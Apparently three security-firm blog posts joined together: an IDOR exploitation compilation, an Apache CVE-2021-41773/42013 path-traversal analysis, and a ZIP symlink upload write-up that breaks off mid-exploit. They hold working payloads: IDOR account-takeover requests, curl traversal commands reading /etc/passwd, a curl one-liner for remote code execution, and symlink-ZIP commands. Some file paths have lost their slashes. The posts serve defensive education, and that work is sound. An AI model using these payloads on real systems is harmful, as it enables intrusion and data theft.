Exploiting IDORs – A compilation

Hello readers, in this blog, our Senior Consultant Vanshal Gaur, is going to explain access control and vulnerabilities arising from insecure access control such as Insecure Direct Object References (IDOR) with some interesting obscure examples.

So, what is an IDOR?

IDOR is a type of access control vulnerability that arises when an application uses user-supplied input to access objects directly. It usually takes the form of an unique identifier and may appear in a URL.

In order to have a better understanding of IDOR, let us first understand what exactly is “Access control” and what are its types.

Access Control

Access control allows applications (or admins) to define user roles as per capabilities that a user should have. Some users have more privileges than other users. In the context of web applications, access control is dependent on authentication and session management:

  •  Authentication identifies the user and confirms that they are who they say they are.
  •  Session management identifies which subsequent HTTP requests can be made by that same user.
  • Access control determines whether the user is allowed to carry out the action that they are attempting to perform.


Access control can be better explained in the following types:

  1. Vertical access control – Vertical access control aims to control functionalities that should not be available or accessed by low privilege users. For example, a Moderator role will possibly have more access rights to contents in a system than a regular user. On the other hand, the admin role has the highest privilege in a system compared to other roles.
  2. Horizontal access control – Horizontal access control aims to control the restrictions to access resources by users who have the same capability level. For example, in a web application there can be many users having their own private information such as phone number, email and it could be any confidential information that should not be displayed to other users even if they have the same role type.
  3. Context-dependent access control: Context-dependent access control aims to control the restrictions specified for the user itself. For example, a user buys a product from an e-commerce application and after the product is shipped, the user wants to change the shipping address but it shouldn’t be allowed, security implementation should be done properly.

Now that we know “Access Control”, we can shift our focus back on IDOR. In IDOR, attackers can bypass authorization and access resources, for example, database records or files in the system directly. It does so by allowing attackers to directly modify the value of a parameter used to directly point to an object. This is caused by the fact that the application takes user-supplied input and uses it to retrieve an object without performing sufficient authorization checks.

The vulnerability is of such significant concern that for many years it was listed as one of the Open Web Application Security Project’s (OWASP) Top 10 vulnerabilities.

Impacts of IDOR

The impact of an IDOR vulnerability depends on the application’s functionality. Therefore, a clear list can not be generated. It depends on various factors. Generally speaking, an IDOR vulnerability can introduce a risk for CIA (confidentiality, integrity, availability) of data.

The following are some examples of IDOR impact:

  • Alteration of Data.
    • Privilege levels do not distinguish users who can only view data and users permitted to modify data.
  •   Exposure of Confidential Information.
    •  Compromising admin-level accounts often results in access to the user’s confidential data.
  •   Loss of Accountability
    •  Attackers maliciously execute actions as other users.
    •  Attackers maliciously execute higher level actions.
  •   Account Takeover.
  •   Authentication Bypass.

Testing IDOR

In order to test IDOR, the tester first needs to map out all locations in the application where user input is used to reference objects directly. For example, locations where user input is used to access a file, a database row, application pages, etc. Next, the tester should modify the value of the parameter used to reference objects and assess whether it is possible to retrieve objects belonging to other users or otherwise bypass authorization.

Below mentioned are some Burp Suite plugins, which can make your life easier and help you automate the process of finding IDORs and Access Control issues:

  •  Autorize
  •  AuthZ
  •  AuthMatrix


Reference: https://www.youtube.com/watch?v=3K1-a7dnA60 (A great tutorial by @regala_), A must-watch!

An Easy IDOR Example:

Suppose there are two users: UserA and UserB.

UserA can access his bank account details by visiting the below URL:

example.com/bankdetails.aspx?id=UserA


And UserB can access his bank account details by visiting:

example.com/bankdetails.aspx?id=UserB


Essentially, both these users should not be able to access the bank details of any other user.

If you observe the URLs of both the users, the object that allows the bank application to differentiate between both the users is the “id” parameter.

Now if an IDOR vulnerability had to exist in this case, a malicious user (suppose UserA) will be able to modify the insecure object “id”. By changing the “id” to “UserC”, the malicious user (UserA) will be able to access the bank details for UserC.

Logical Thinking For Encoded and Hashed IDs

During the reconnaissance of the application sometimes we may come across some sort of encoded ID, it might be possible to decode the encoded ID using common encoding schemes and change the inside value to exploit IDOR.

If the application is using a randomised/hashed ID, check if the ID value is predictable. Sometimes applications use algorithms/methods that produce insufficient entropy, and as such, the IDs can actually be predicted after a thorough analysis. In this case, try creating multiple accounts to analyse how these IDs are created. You might be able to find a pattern that will allow you to predict IDs belonging to other users.

Further, it might also be possible to leak hashed or random IDs via another API endpoint, on other public pages in the application (profile page of other users, etc), or in a URL.

For example, consider the below API endpoint which allows users to retrieve detailed direct messages through a hashed conversation ID.

GET /api_v1/messages?conversation_id=SOME_RANDOM_ID


This may seem completely okay at first since the conversation_id is a long, random, alphanumeric sequence. But, it was discovered that you could actually find a list of conversations for each user just by using their user ID! Note that user_id was publicly available on each user’s profile page.

GET /api_v1/messages?user_id=ANOTHER_USERS_ID


The above request would return a list of conversation_ids belonging to that given user. Therefore, it’s possible to read any user’s messages by first obtaining their user_id on their profile page, then retrieving a list of conversation_ids belonging to that user, and finally loading the messages via the API endpoint /api_v1/messages!

In case the object reference IDs seem unpredictable, see if there is anything you can do to manipulate the creation or linking process of these object IDs. If no IDs are used in the application-generated requests, try adding it to the request. Try adding parameters like id, user_id, message_id or other object reference parameters and see if it makes a difference to the application’s behaviour.

Let’s take one example here, if the following request displays all your direct messages:

GET /api_v1/messages


Try adding “user_id” and observe whether the application behaves in a different way. Would it display another user’s messages?

GET /api_v1/messages?user_id=ANOTHER_USERS_ID


Let’s advance towards understanding Blind and HTTP Parameter Pollution (HPP) IDORs, and how to look for such vulnerabilities.

Blind IDOR

Blind IDOR attacks are identical to Blind XSS or SQLi attacks. In that, the specific IDOR request is undetectable because the following response does not reveal the vulnerability.

For example, if you change the object’s information in the application, you will receive an email that includes that information, now if you try to change the same information for another user, and you can’t access anything in HTTP response but you can access the same information of object with an email, that would be called a “Blind IDOR”.

HPP IDOR

In some cases, you can test the HTTP Parameter Pollution vulnerability for IDOR by adding the same parameter twice in your request. ie: UserA could make the below URL calls in order to get access to UserB account details.:

example.com/?id=UserB&id=UserA
example.com/?id=UserA&id=UserB
example.com/?id[]=UserA&id[]=UserB

IDOR Prevention

To prevent vulnerabilities arising out of IDOR, applications should implement strict access control on every functionality, and check if a user is authorised to access and/or manipulate the requested object.

Never depend on untrusted data:

  •  Never trust request data for access control decisions.
  •  Never make access control decisions in JavaScript.
  •  Never depend on the order of values sent from the client.
  •  Never make authorization decisions based solely on:
    •  Hidden fields
    •   Cookie values
    •   Form parameters
    •  URL parameters


More information about IDOR prevention can be found in OWASP’s IDOR prevention cheat sheet

Interesting Obscure IDOR Instances

There are many occurrences of access control vulnerabilities where user-controlled parameter values are used to access resources or functions directly.

We have listed some interesting IDOR vulnerabilities, found over time by security researchers all over the world.

1. Stealing Your Private YouTube Videos, One Frame at a Time.

A security researcher found an IDOR vulnerability, where it was possible to access any YouTube channel’s private video by getting one video frame at a time.

David, who originally discovered this vulnerability mentioned that he tried to access other user’s private videos by changing the target video’s ID from YouTube requests but could not be successful, so he started to think differently. He started poking around with Google AdSense (a product that advertisers use to create ads across all Google services, including YouTube). The ads you get before YouTube videos are set up by advertisers on the Google Ads platform.

The researcher created a Google Ads account and created a new advertisement, which would play a video of his as a skippable ad for YouTube users.

While exploring AdSense features, he found a page called “Videos”, where it was possible to see the list of videos used by advertisements.

Clicking on a video opened up an Analytics section for that specific video, which had an interesting feature called “Moments”. It allowed advertisers to “mark” specific moments of the video.

Exploitation:

Whenever we “marked a moment” in the “Moments” section, a POST request to “/GetThumbnails” was sent, as shown below:

POST /aw_video/_/rpc/VideoMomentService/GetThumbnails HTTP/1.1
Host: ads.google.com
User-Agent: Internet-Explorer-6
Cookie: [redacted]

__ar={“1″:”kCTeqs1F4ME“,”2″:”12240“,”3″:”387719230”}


A Base64 encoded image, that is the thumbnail displayed by Ads was returned in the response to the above request. This request contained a “video-id”( in parameter _ar as “1”), by changing this ID to a private video’s ID, it was possible to fetch the thumbnail of that video.

As the post request took time in milliseconds (in parameter _ar as “2”), we could specify the time for which we wanted to fetch the thumbnail.

David wrote a python script to automate this whole process, which would get all the thumbnails of videos frame by frame, and generate a moving video.

Key takeaway: Even though you think you hit the dead-end, exploring the functionalities of the application and thinking deep is the key.

2. IDOR Resulting in Image Deletion in Mozilla Support Page.

Here, the security researcher found IDOR by performing a code review of Kitsune (A Django-based application, created by Mozilla).

Django is a Python-based web framework, free and open-source, that follows the model–template–views architectural pattern.

While going through all the URL endpoints, the researcher found this interesting endpoint:

Going through the “views.reply” function, the researcher discovered that if you provide a “delete_images” Post parameter, it will delete any image with the “id” you provide in the “delete_image” parameter, without any checks, if the user deleting the image is the owner of the image.

Now that we know the vulnerable piece of code, we can exploit the vulnerability as follows:

  1. Have two accounts, suppose User A and User B.
  2. As User A, make a new question, in the question, make a new reply and add an image in the reply.
  3. Take note of the “id” of the uploaded image.
  4. As User B, reply to the question, then intercept the request.
  5. In the body of the request, add: &delete_images=true&delete_image=60680
  6. Replace “60680” with the id of the uploaded image of User A.
  7. You will see that the image will be deleted directly in the Content Delivery Network (CDN).

In this instance, a security researcher exploited the vulnerability by adding a new parameter to the existing request. We can also use this technique to bruteforce the parameter names or guess it according to other application parameters. Such vulnerabilities can also be termed as Mass Assignment vulnerability.

Key Takeaway: Exploiting these types of vulnerabilities is difficult in black-box type of assessments, as guessing the exact parameter is hardly possible. Hence, the code reviews are as important as other methods.

3. 49500$ Bounty From Facebook, Critical Bug in Instagram

Recently, a security researcher named Neeraj Sharma, found a vulnerability in Instagram where the attacker could change the reel thumbnail of any Instagram user by knowing “clips_media_id” (Media ID of reel) of that user.

While understanding the API structure and the request flow of Instagram application, the researcher came to the point where users can edit their reels cover photo (thumbnail). For testing, he changed his reel thumbnail and intercepted all the HTTP requests using Burp and after forwarding some requests he observed the following HTTP request:

POST /api/v1/media/configure_to_clips_cover_image/ HTTP/2
Host: i.instagram.com
X-Ig-App-Locale: en_US

X-Ig-App-Id: 567067343352427
Priority: u=3
User-Agent: Instagram 226.0.0.16.117 Android (24/7.0; 320dpi; 720×1184; unknown/Android; vbox86p; vbox86; en_US; 356747126)
Accept-Language: en-US
Authorization: Bearer IGT:2:<BASE64_Encoded_Token>
X-Mid: YnJa7AABAAFBAWyzna1J4pu-Mf2e
Ig-U-Ig-Direct-Region-Hint: ASH,446xxxxxxx,168xxxxxxx:01f7b979c4246d13c5918e1c108d47035dcd6e26eac03b70a2019c4b49c9361859eb1339

Ig-Intended-User-Id: 446xxxxxxxx
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 100
Accept-Encoding: gzip, deflate
X-Fb-Http-Engine: Liger
X-Fb-Client-Ip: True
X-Fb-Server-Cluster: True

clips_media_id=2763122193610xxxxxx&_uuid=8893c680–7663–48a4–95dc-dd91b9xxxxxx&upload_id=326264xxxxxx


Here the important parameters are “clips_media_id” and “upload_id”.

Clip ID is the ID of a reel video and upload_id is the ID of an image that the user wants as a new reel thumbnail. Due to the IDOR vulnerability, which was present at the vulnerable endpoint, it was possible to change the “clips_media_id” to the victim’s reel ID and change the thumbnail of their video.

Though this vulnerability seems less severe, the impact is high. Within the CIA triad, Integrity was violated and the Accessibility of the victim was totally disregarded by the actions of the attacker. As the malicious actor was able to forge thumbnails in any profile without any authorization or victim interaction, the impact was loud, wide and around heterogeneous masses of Instagram users.

Key Takeaway: It’s always possible that simple bugs like these are lying around the web, it is good to be mindful of the basics of every application, no matter even if the application has been tested 1000s of times.

4. Google Cloud Dialogflow IDOR

Dialogflow is a natural language understanding platform that makes it easy to design and integrate a conversational user interface into your mobile application, web application, device, and more. Using Dialogflow, you can provide new and engaging ways for users to interact with your product.

The security researcher in this case was testing Dialogflow and observed an option to delete the phone gateway, as shown in the below figure:

As mentioned in the above request for “delete phone gateway”, the researcher tried to brute-force the random string (which is an encoded phone number) but it didn’t work.

Moving on to find the other encoded numbers to see if it was possible to delete another user’s phone gateway using the same request, the researcher found another feature called “CX Phone Number”, where it was possible to create new numbers, and inside that was an option to select Area code.

On intercepting the Area code request, some random strings (Phone numbers) were found in response.

Replacing the random strings (Phone Numbers) in the “delete phone gateway” request, the researcher was successfully able to delete other users’ phone numbers.

Key Takeaway: If you’re lacking some sort of information in order to successfully exploit a vulnerability, it’s worth trying to find that information on other features of the application.

5. IDOR with Mass Assignment Vulnerability

The application had an account update functionality where a user could update profile information, such as name and profile picture. There was no functionality to update the other details such as Email Address, Password and Role. Here, an attacker could chain the IDOR with Mass Assignment vulnerability to change other user details and ultimately leverage it to complete the account takeover of the victim.

The researcher intercepted the profile update request and observed the below request/response. By looking at the userID in the URL, we think of an IDOR, but the application was validating the request using the slug parameter.

Request:

PUT /api/users/15 HTTP/1.1
Host: target.com
Cookies: session=xxxxxxxx

{
    “name”:”Test User”,
    “image”:”IMG URL”,
    “slug”:”dXNlcjE1″
}


Response:

HTTP/1.1 200 OK
Set-Cookie: session=xxxxxxxx; Secure; HttpOnly; SameSite=None
Connection: close
Content-Length: 0


{
    “userid”:”15″,
    “name”:”Test User”,
    “Email”:”test@example.com”,
    “Role”: “User”,
    “image”: “https://target.com/media/images/avtar.png”
…DATA…
}


Further, it was observed that the “slug” parameter value was the base64 encoded string of “userID”, i.e., user15, as reflected in the request URL.

So, the researcher added the “email” parameter in the request and replaced the “ID” value with the victim’s userID (user18 – dXNlcjE4) along with the encoded “slug” value. As a result, the researcher was able to perform an account takeover by chaining IDOR with Mass Assignment vulnerability.

Request:

PUT /api/users/18 HTTP/1.1
Host: target.com
Cookies: session=xxxxxxxx

{
    “name”:”Test User”,
    “image”:”https://target.com/media/images/avtar.png”,
    “Email”:”attackercontrolledaddress@example.com”,
    “slug”:”dXNlcjE4″
}


Response:

HTTP/1.1 200 OK
Set-Cookie: session=xxxxxxxx; Secure; HttpOnly; SameSite=None
Connection: close
Content-Length: 0


{
    “userid”:”18″,
    “name”:”Test User”,
    “Email”:”attackercontrolledaddress@example.com”,
    “Role”: “User”
}


With such an issue, it is possible to further take advantage of forgot password functionality after changing the email of the victim and completely take over the account.

Key Takeaway: Eventhough it might seem like the application does not have certain functionality, it’s always worth adding additional parameters in the request and observe the corresponding response.

References:

An Empirical Analysis Of Apache Server

In this blog post, Udit Bhadauria discussed about the latest Apache Server vulnerability. This blog post describes the vulnerability details, minimum requirements, affected versions, vulnerability detection, chaining vulnerability with Remote Code Execution and recommendation. Let’s dive into each sections:

What Is Path Traversal Vulnerability?

Path Traversal is a very common security vulnerability that arises due to improper normalization and improper data validation of pathname. Path Traversal is a low complexity vulnerability that results in unauthenticated access to a restricted directory or a file. Path Traversal vulnerability is also known as:

  1. Directory Traversal vulnerability
  2. Directory Climbing vulnerability
  3. Backtracking vulnerability
  4. Dot-Dot-Slash vulnerability

In this type of attack, the attacker tries to traverse the system files using the sequence of payload “../” in the input. Sometimes, Path Traversal vulnerability can also be chained with other security vulnerabilities for creating more impact including but not limited to Local File Inclusion (LFI) and in certain scenario this can also lead to Remote Code Execution (RCE). 

Due to the presence of Web Application Firewall (WAF), this type of attack needs some sort of encoding for successful execution. The most widely used and preferred encoding for this type of attack is URL encoding. However, different types of encoding schemes can be used depending upon how the application handles the user input and how the firewall is configured.

CVE-2021-41773 And What Led To CVE-2021-42013?

CVE-2021-41773 and CVE-2021-42013 have been identified in the Apache versions 2.4.49 and 2.4.50 respectively in October 2021. These Path Traversal vulnerabilities exist due to improper handling and misconfiguration within the path normalization in Apache 2.4.49 and Apache 2.4.50.

The researcher discovered that Apache 2.4.49 was vulnerable to Path Traversal using the “/.%2e/” bypass, as a result of which the Apache software foundation fixed it and released the new version 2.4.50. However, the fix was incomplete and Apache 2.4.50 was also vulnerable to Path Traversal using the payload “/%%32%65%%32%65/” which was simply a double URL encoding of key characters that were used in the previous payload. This infers that the vulnerability can still be reproduced using this new bypass by providing double URL encoded payload. This misconfiguration results in accessing internal system-critical files without authentication.

The default Apache server settings are not protected by the “require all denied” configuration, therefore, resulting in unauthorized access to all system documents associated with the vulnerable server.

The most commonly used endpoints for testing the misconfigurations are:

If the response code for any of the above endpoints is 403 then the target application can be vulnerable, but it should be kept in mind that 403 does not mean that the application is certainly vulnerable as WAF can also produce a 403 response code.

On the other hand, if the response code for any of the above endpoints is 400 or 5XX then the application will be most likely not vulnerable to this misconfiguration.

Another important thing to be kept in mind while testing for this vulnerability is that the vulnerability might exist even if the application does not have the “/cgi-bin/” in its directory structure as the vulnerability can be reproduced using other available aliases (e.g. /icons/).

Minimum Requirements For The Vulnerability To Exist

The application must fulfil the following requirements for Path Traversal vulnerability:

CVE-2021-41773:

  1. The application must be running on Apache 2.4.49.
  2. The configuration file “apache.conf” should contain “require all granted” instead of “require all denied”. [By default its “require all granted” in Apache 2.4.49].

CVE-2021-42013:

  1. The application must be running on Apache 2.4.50.
  2. The configuration file “apache.conf” should contain “require all granted” instead of “require all denied”. [By default its “require all denied” in Apache 2.4.50].

Who Are All Affected?

Apache has been one of the first choices that many organizations think about for hosting their applications on the internet. According to the Netcraft’s Web Server Survey, nearly 25% of the developers prefer Apache for hosting their work over the internet. This enormous presence of Apache servers over the internet makes Apache one of the prime targets for security researchers and malicious actors.

As discussed in the earlier section, all these instances are not vulnerable as there are some minimum requirements. However, at present, the number of instances running Apache 2.4.49 are enormous and thus are being scanned at a very large scale by security researchers and bug hunters.

According to Censys.io at the time of writing this blog post, there are more than 18,000 active instances of Apache 2.4.49 that are a possible target for CVE-2021-41773 and more than 9,000 active instances of Apache 2.4.50 that can be tested for CVE-2021-42013: 

 

Performing a similar search using the shodan.io vulnerability search engine yields more than 69,000 potential targets for CVE-2021-41773 and 13,500 possible targets for CVE-2021-42013 at the time of writing this post:

Shodan – Apache 2.4.49

Shodan – Apache 2.4.50

Vulnerability Detection And Wide Scope Scanning

There are several ways for detection and exploitation of this vulnerability some of which are as follows:

A Nmap script can be found at GitHub that can be used for detection of this vulnerability using the following Nmap command:

$ nmap –script http-vuln-cve2021-41773 -p  

A specially crafted curl command can also be used for checking whether a single target application is vulnerable to CVE-2021-41773 and CVE-2021-42013:

$ curl –silent –path-as-is –insecure “https://vulnerable.target/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etcpasswd”

$ curl –silent –path-as-is –insecure “https://vulnerable.target/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32% 65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etcpasswd”

Nuclei vulnerability scanning templates are also available at GitHub Nuclei Template – CVE-2021-41773 and GitHub Nuclei Template – CVE-2021-42013 for identification and exploitation of CVE-2021-41773 and CVE-2021-42013 respectively. The nuclei templates can be used for scanning single target and mass scanning potential targets:

OWASP Nettacker is also effective in the identification of CVE-2021-41773 and CVE-2021-42013. It can be used for scanning the targets from a list, entire subnets, domains along with subdomains and IP ranges by running the following commands mentioned in the below screenshot:

Vulnerability Detection using “nettacker.py” Script

Chaining Path Traversal Vulnerability With Remote Code Execution

Misconfiguration of “apache2.conf” file can also lead to Remote Code Execution. If the configuration file “etcapache2apache2.conf” has the configuration “Require all granted” instead of “Require all denied” and CGI scripts are also enabled for these aliased pathes, it could allow an attacker to exploit Path Traversal vulnerability and perform Remote Code Execution. The code snippets for vulnerable and safe configurations are mentioned below:

Vulnerable Configuration:

Safe Configuration:

This can be achieved using the following command:

$ curl -s –path-as-is -d ‘echo Content-Type: text/plain; echo; id’ “http://[IP]:[Port]/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh”

Lab Setup

For setting up the lab and practical demonstration, we will be using a Debian-based container image that is available on GitHub. This image can be used for testing and chaining the vulnerability from Path Traversal to Remote Code Execution.

Execute the following commands using any *.nix based system:

$ git clone https://github.com/blasty/CVE-2021-41773

$ docker-compose build && docker-compose up || docker-compose-up


Setting Up with Docker

Please note down the IP address and use that to perform Path Traversal and Remote Code Execution vulnerabilities.

Performing The Path Traversal Vulnerability:

$ curl -s –path-as-is “http://[IP]:[Port]/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etcpasswd”

Exploiting File Path Traversal Vulnerability

 

Escalating The Path Traversal Vulnerability To Remote Code Execution:

For escalating the vulnerability to Remote Code execution use the following curl command:

$ curl -s –path-as-is -d ‘echo Content-Type: text/plain; echo; id’ “http://[IP]:[Port]/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh”

Exploiting Remote Code Execution Vulnerability

As highlighted in aforementioned screenshot, Remote Code Execution was not allowed on “/icons/” directory, it is required to use “/cgi-bin/”.

Recommendations And Best Practices

At the time of writing, this post one can follow the following techniques for safeguarding oneself from this vulnerability:

  1. Update to the latest Apache version.
  2. Update the configuration file “apache2.conf” from “Require all granted” to “Require all denied” for preventing access to the files outside the expected application base directory.
  3. Since a large group of individuals are using automated scanners, a strong WAF implementation is required as an additional layer of security.

References

  1. Path Traversal Vulnerability – OWASP
  2. Apache 2.4.49 – CVE-2021-41773
  3. Apache 2.4.50 – CVE-2021-42013
  4. Apache HTTP Server 2.4 vulnerabilities
  5. October 2021 Web Server Survey – Netcraft
  6. Censys – Apache 2.4.49
  7. Censys – Apache 2.5.50
  8. Shodan – Apache 2.4.49
  9. Shodan – Apache 2.4.50
  10. GitHub – RootUp – Nmap Script
  11. GitHub – blasty – CVE-2021-41773 Playground
  12. GitHub – OWASP – Nettacker Python Script
  13. GitHub – projectdiscovery – Nuclei Template

Anatomy Of A File Upload Attack

Anatomy Of A File Upload Attack

TL;DR

  1. File upload allows you to upload a ZIP file and extract its contents online.
  2. Upload a ZIP file with a malicious symlink and extract arbitrary files from the server.
  3. Pr0fit.

Recently our team discovered a vulnerability in one of the client’s web applications which allowed us to read local files from the application’s server. Here, Krishna from our technical team had explained the vulnerability:

Overview Of The Application

The target web application provides Virtual Data Room (VDR) service to the businesses. A virtual data room (VDR), also known as a deal room, is a secure online repository for document storage and distribution. It is typically utilized during the due diligence process preceding a merger or acquisition to review, share, and disclose company documentation.

Vulnerability

During the testing, SecOps assessment team discovered that the application allowed us to upload and preview the uploaded document and convert the uploaded document in PDF within the application itself. The assessment team observed that the application also allowed us to upload multiple documents through archive (ZIP) files, in simple words we can compress multiple documents in a ZIP file and upload the compressed ZIP file to the application. Additionally, the application allowed us to extract the uploaded ZIP files.

We exploited a ZIP Symlink vulnerability which allowed us to read local files from the application server.

What Is Symlink?

A Symlink (also called a symbolic link) is a type of file in Linux that points to another file or a folder on your system. Symlinks are similar to shortcuts in Windows.

What Is ZIP Symlink Vulnerability?

An archive can contain a symbolic link. A symbolic link is a special file that links to another file. By uploading a ZIP containing a symbolic link, and after the ZIP is extracted, you can access the symbolic link to gain access to files that should not be accessible otherwise. To do so, you need to get your symbolic link to point to files outside of the web root, for example “/etcpasswd”.

These types of issues are typically found when a developer allows ZIP files in the upload functionality. When a user uploads the malicious ZIP file in the application then it simply takes the ZIP file and extracts it without any further validations.

Exploitation

The assessment team created a Symlink of the “/etcpasswd” file on their system and compressed the file in the ZIP archive using the following command:

sudo ln -s ../../../../../../../../../../etcpasswd name_of_symlink.txt

sudo zip --symlink zip_file.zip  name_of_symlink.txt

The assessment team uploaded the ZIP file containing Symlink in the application:

After uploading the file, the assessment team extracted the Symlink file, as shown in below snapshot: 

The application allowed the assessment team to preview the content of uploaded documents, on previewing the file the assessment team was able to access the content of server’s “passwd” file: